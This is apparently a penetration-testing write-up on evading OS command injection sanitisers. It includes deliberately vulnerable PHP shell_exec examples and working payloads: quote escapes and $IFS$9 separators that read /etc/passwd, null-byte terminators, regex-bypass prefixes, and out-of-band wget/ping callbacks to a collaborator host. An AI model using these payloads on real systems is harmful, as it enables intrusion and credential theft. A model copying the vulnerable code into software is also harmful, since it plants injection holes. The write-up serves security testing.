SHELLING - an offensive approach to the anatomy of improperly written OS command injection sanitisers

In order to improve the accuracy of our blind OS command injection testing, we need a comprehensive, analytic approach. In general, our injection payloads may fail to provide us with positive feedback due to:

- the eventual syntax of the expression we are injecting into (solution: base payload variants)
- input sanitising mechanisms, which refuse forbidden characters (solution: evasive techniques)
- platform specific conditions (e.g. using a windows command on a nix host)
- bad callback method (e.g. asynchronous execution, no outbound traffic etc., solution: base payload variants)

EVASIVE TECHNIQUES USED

- alternative COMMAND_SEPARATORS
- alternative ARGUMENT_SEPARATORS
- alternative COMMAND_TERMINATORS
- additional prefixes and suffixes to go around lax filters
- additional prefixes and suffixes to fit into quoted expressions

Other evasive techniques considered:

- alternative payloads to avoid particular badcharacters
- encoding-related variations, like double URL encoding

The eventual injected expression syntax

Let's consider the following vulnerable PHP script:

```
<?php

if(isset($_GET['username'])) echo shell_exec("echo '{$_GET['username']}'>>/tmp/users.txt");

?>
```

What makes it different from the most common and obvious cases of OS command injection is the fact that the user-controlled variable is injected between single quotes in the final expression passed to the *shell_exec* function.

Hence, one of the most obvious OS command injection test cases, like *http://localhost/vuln.php?username=;cat /etc/passwd;* would result in the expression being evaluated to *echo ';cat /etc/passwd;'*. So, instead of executing the command, the entire user input is written into the */tmp/users.txt* file.

This particular payload leads to a false negative in this particular case, as it does not fit the target expression syntax in a way that would make *shell_exec* function treat it as a system command. Instead, the payload is still treated as an argument to the *echo* command.

In order to properly inject into this particular command, we need to jump out from the quoted expression in the first place. If we simply try payload like *';cat /etc/passwd;*, the expression would evaluate to echo ';cat /etc/passwd;', we would still get a false negative due to unmatched quoted string following the command we injected.

A payload fitting to this particular syntax should look like ';cat /etc/passwd;':

http://localhost/vuln.php?username=%27;cat /etc/passwd;%27, making the final expression to look like echo '';cat /etc/passwd;''.

And the output is (the injection is working):

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin: [...]

This is just one of the examples of how the syntax of the target injectable expression affects the results. The solution to this problem is a good list of vulnerable syntax-varied cases, as we have to guess as many syntax-dependant cases as possible.

For the rest of this write-up, let's assume that:

- OS_COMMAND = name of the remote binary we want to execute, e.g. *ping*
- ARGUMENT = argument of the command we want to execute, e.g. *collaborator.example.org*
- ARGUMENT_SEPARATOR = string between the OS_COMMAND and the ARGUMENT
- FULL_COMMAND=OS_COMMAND+ARGUMENT_SEPARATOR+ARGUMENT
- COMMAND_SEPARATOR = a string that separates multiple commands from each other, required for successful injection in many cases
- COMMAND_TERMINATOR = a sequence which, if injected into a string, enforces the remote system to ignore the remainder of that string (everything that follows the terminator)

In order to cover as many syntax-dependant cases as possible, we came up with the following list of patterns:

- *FULL_COMMAND* - when command is directly injected into an expression

- *FULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)* - when command is directly injected at the beginning of the expression and then it is appended with some arguments/other commands
- *COMMAND_SEPARATOR+ FULL_COMMAND* - when command is appended as an argument of a command hardcoded in the expression
- *COMMAND_SEPARATOR+ FULL_COMMAND +COMMAND_SEPARATOR* - when command is appended as an argument to a command hardcoded in the expression AND appended with some arguments/other commands

Additionally, all the above combinations need versions targeted at quoted expressions.

Single quotes:

- *'FULL_COMMAND'*
- *'FULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)'*
- *'COMMAND_SEPARATOR+ FULL_COMMAND'*
- *'COMMAND_SEPARATOR+ FULL_COMMAND +COMMAND_SEPARATOR'*

Double quotes:

- *"FULL_COMMAND"*
- *"FULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)"*
- *"COMMAND_SEPARATOR+ FULL_COMMAND"*
- *"COMMAND_SEPARATOR+ FULL_COMMAND +COMMAND_SEPARATOR"*

Input sanitising mechanisms

Bad characters

It is well known that blacklisting is not a good security approach, because in most cases, sooner or later the attackers find another way of achieving their goal, bypassing the blacklist and the entire security control.

Many input sanitising functions attempt to catch all the dangerous characters which might give an attacker a way to control the target expression.

Let's consider the following example:

```
<?php
if(isset($_POST['dir'])&&!preg_match('/\s+/',$_POST['dir']))
{
        echo "Dir contents are:\n<br />".shell_exec("ls {$_POST['dir']}");
}
?>
```

The script executes the OS command only if the user-supplied variable does not contain any white characters (like spaces or tabs). This is why payloads like:

- cat /etc/passwd
- ;cat /etc/passwd;
- ';cat /etc/passwd;'

lead to false negatives.

In order to execute an arbitrary command, we need an alternative expression to separate the command from its argument (ARGUMENT_SEPARATOR).

A way to achieve this is an expression like $IFS$9, so the alternative payloads would look like:

- cat$IFS$9/etc/passwd
- ;cat$IFS$9/etc/passwd;
- ';cat$IFS$9/etc/passwd;'

In Unix environment, the *$IFS* environmental variable contains the current argument separator value (which is space by default), while *$9* is just a holder of the ninth argument of the current system shell process, which is always an empty string, but is required to avoid the system shell confusing the *$IFSsomething* syntax with a non-existent environmental variable called *IFSsomething*.

Currently used alternative argument separators:

- %20%20 (spaces)
- %09%09 (tabulators)
- $IFS$9 (IFS terminated with 9-nth empty argument holder)

The above is just an example of bypassing poorly written input sanitising function from the perspective of alternative argument separators.

Other options include filters on command separators (not to confuse with argument separators), which are in most cases required to execute arbitrary commands. The list of tested command separators:

- %0a%0a (new line characters)
- %0d%0d (carriage return characters)
- ;
- &
- |

Additionally, the following command terminators are used (in case input was written into a file or a database before execution and our goal was to get rid of everything appended to our payload in order to avoid syntax issues):

- %00 (nullbyte)
- 💩 (Unicode poo character, known to cause string termination in db software like MySQL)
- %20%20#

This way the base payload set is multiplied by all feasible combinations of alternative argument separators, command separators and command terminators.

Some of the above separators include double characters (like two spaces or two tabs, one after another). This is an optimisation aimed at defeating improperly written filters which only cut out single instances of banned characters, instead of removing them all. In such case two characters would get reduced to one, bypassing the filter and hitting the vulnerable function.

Regular expressions

Some input sanitisers are based on regular expressions, checking if the user-supplied input does match the correct pattern (the good, whitelist approach, as opposed to a blacklist).

Still, a good approach can be improperly implemented, creating loopholes.

A few examples below.

The following vulnerable PHP will refuse to execute any OS commands as long as the user-supplied input does not start with alphanumeric character/characters:

```
<?php
if(isset($_GET['dir'])&&preg_match('/\w+$/',$_GET['dir']))
{
        echo "Dir contents are:\n<br />".shell_exec("ls {$_GET['dir']}");
}
?>
```

This is why all of the previously discussed payloads would end up in false negatives. An example payload defeating this filter could be foo;cat /etc/passwd.

Another example's regular expression requires the user-supplied value to both start and end with alphanumeric characters:

```
<?php
if(isset($_GET['dir'])&&preg_match('/^\w+\..*\w+\.\w+$/',$_GET['dir']))
{
        echo "Dir contents are:\n<br />".shell_exec("ls {$_GET['dir']}");
}
?>
```

Due to the fact that it contains a lax .* part in the middle, it is possible to defeat it with a payload starting and ending with an alphanumeric prefix, like foo1.co.uk;cat /etc/passwd;foo2.co.uk. In this case it does not matter that there is no such file as *foo1.co.uk* and that there is no such command as *foo2.co.uk*, what matters is that the command between these prefixes will execute properly.

These two examples show that all the previously mentioned payloads also require alternatives with proper prefixes and/or suffixes. The most universal and safe choices are numbers and lowercase words, but it is also required to extend this choice according to the legitimate input the application is expecting. For example, if the feature being tested is an online ping tool, the most obvious value for prefix/suffix value is a valid IP address/domain name.

This makes us extend our base payload set to combinations like:

- COMMAND_SEPARATOR+FULL_COMMAND+COMMAND_SEPARATOR+SUFFIX
- PREFIX+COMMAND_SEPARATOR+ FULL_COMMAND +COMMAND_SEPARATOR
- PREFIX+COMMAND_SEPARATOR+ FULL_COMMAND +COMMAND_SEPARATOR+SUFFIX
- PREFIX+FULL_COMMAND+SUFFIX

Platform specific conditions

Depending on the technology we are dealing with, some payloads working on some systems will fail on other. Examples include:

- using windows-specific command on a nix-like system
- using nix-like specific argument separator on a windows system
- dealing with a different underlying system shell (e.g. cat /etc/passwd # ' will work on bash/ash/dash, but won't work on csh)
- different filesystem paths

With this in mind, the best and currently used approach is to use commands and syntaxes that work the same on all tested platforms (the most basic syntax of commands like echo and ping remains the same across nix/win).

If this approach turns out not to be exhaustive, alternative base payloads need to be added to the test set.

Unsuitable feedback method

All the above vulnerable scripts have two common features:

- they are synchronous, meaning that the script does not return any output as long as the command has not returned results, so it is synchronous with our targeted function
- they all return target function output, meaning that we could actually see the results of the issued commands on the web page.

This conditions are usulally untrue, especially the second one. So, if we dealt with a script like:

```
<?php
if(isset($_GET['username']))
{
        $out=@shell_exec("ls /home/{$_GET['username']}");
        file_put_contents('/var/www/user.lookups.txt',$out,FILE_APPEND);
}
?>
```

The above script is synchronous, but does not return output.

An alternative that would also be asynchronous would involve saving the command in some file/database entry and having it executed by another process within unknown time (e.g. a scheduled task).

So, using all the variations of test commands like *cat /etc/passwd* or *echo test* would lead to false negatives, because the output is never returned to the browser.

This is why we need alternative feedback channels, also known as out of band channels. These can include stuff like:

- response time (e.g. commands like *sleep 30* will case noticeable delay, confirming that the injection was successful, however this does only apply to synchronous scripts)
- network traffic, like reverse HTTP connections (*wget http://a.collaborator.example.org*), ICMP ping requests or/and DNS lookups (*ping sub.a.collaborator.example.org*)

In order to avoid false negatives, when no command output is returned by the application, it is necessary to employ out-of-band channel payloads to the test set.

All of the above might fail, as in the worst case we might be dealing with an asynchronous command injection that returns no output and runs on a server not being able to send out traffic HTTP/DNS/ICMP to arbitrary locations.

In such case, the only way (without involving third parties) to confirm that the injected command has executed, would be injection of some sort of Denial of Service payload (not recommended if testing production systems).

If all the above fails

If neither direct output, time delay nor network traffic indicated a successful command injection, we can perform one more test to be entirely sure. In this case we need cooperation from the application owner/custodian, as file system access is required to perform this verification step.

All we need is another set of payloads, this time with the OS_COMMAND set to *touch* and the *ARGUMENT* set to */tmp/fooPAYLOAD_MARK*. The *PAYLOAD_MARK* holder (used for all the payloads by default) is always replaced with a unique payload identifier (a natural number), so it is possible to track the correct payload if the attack was successful. After attempting to create a file with the entire payload set, we examine the filesystem to check if a file named */tmp/fooSOME_NUMBER* has been created.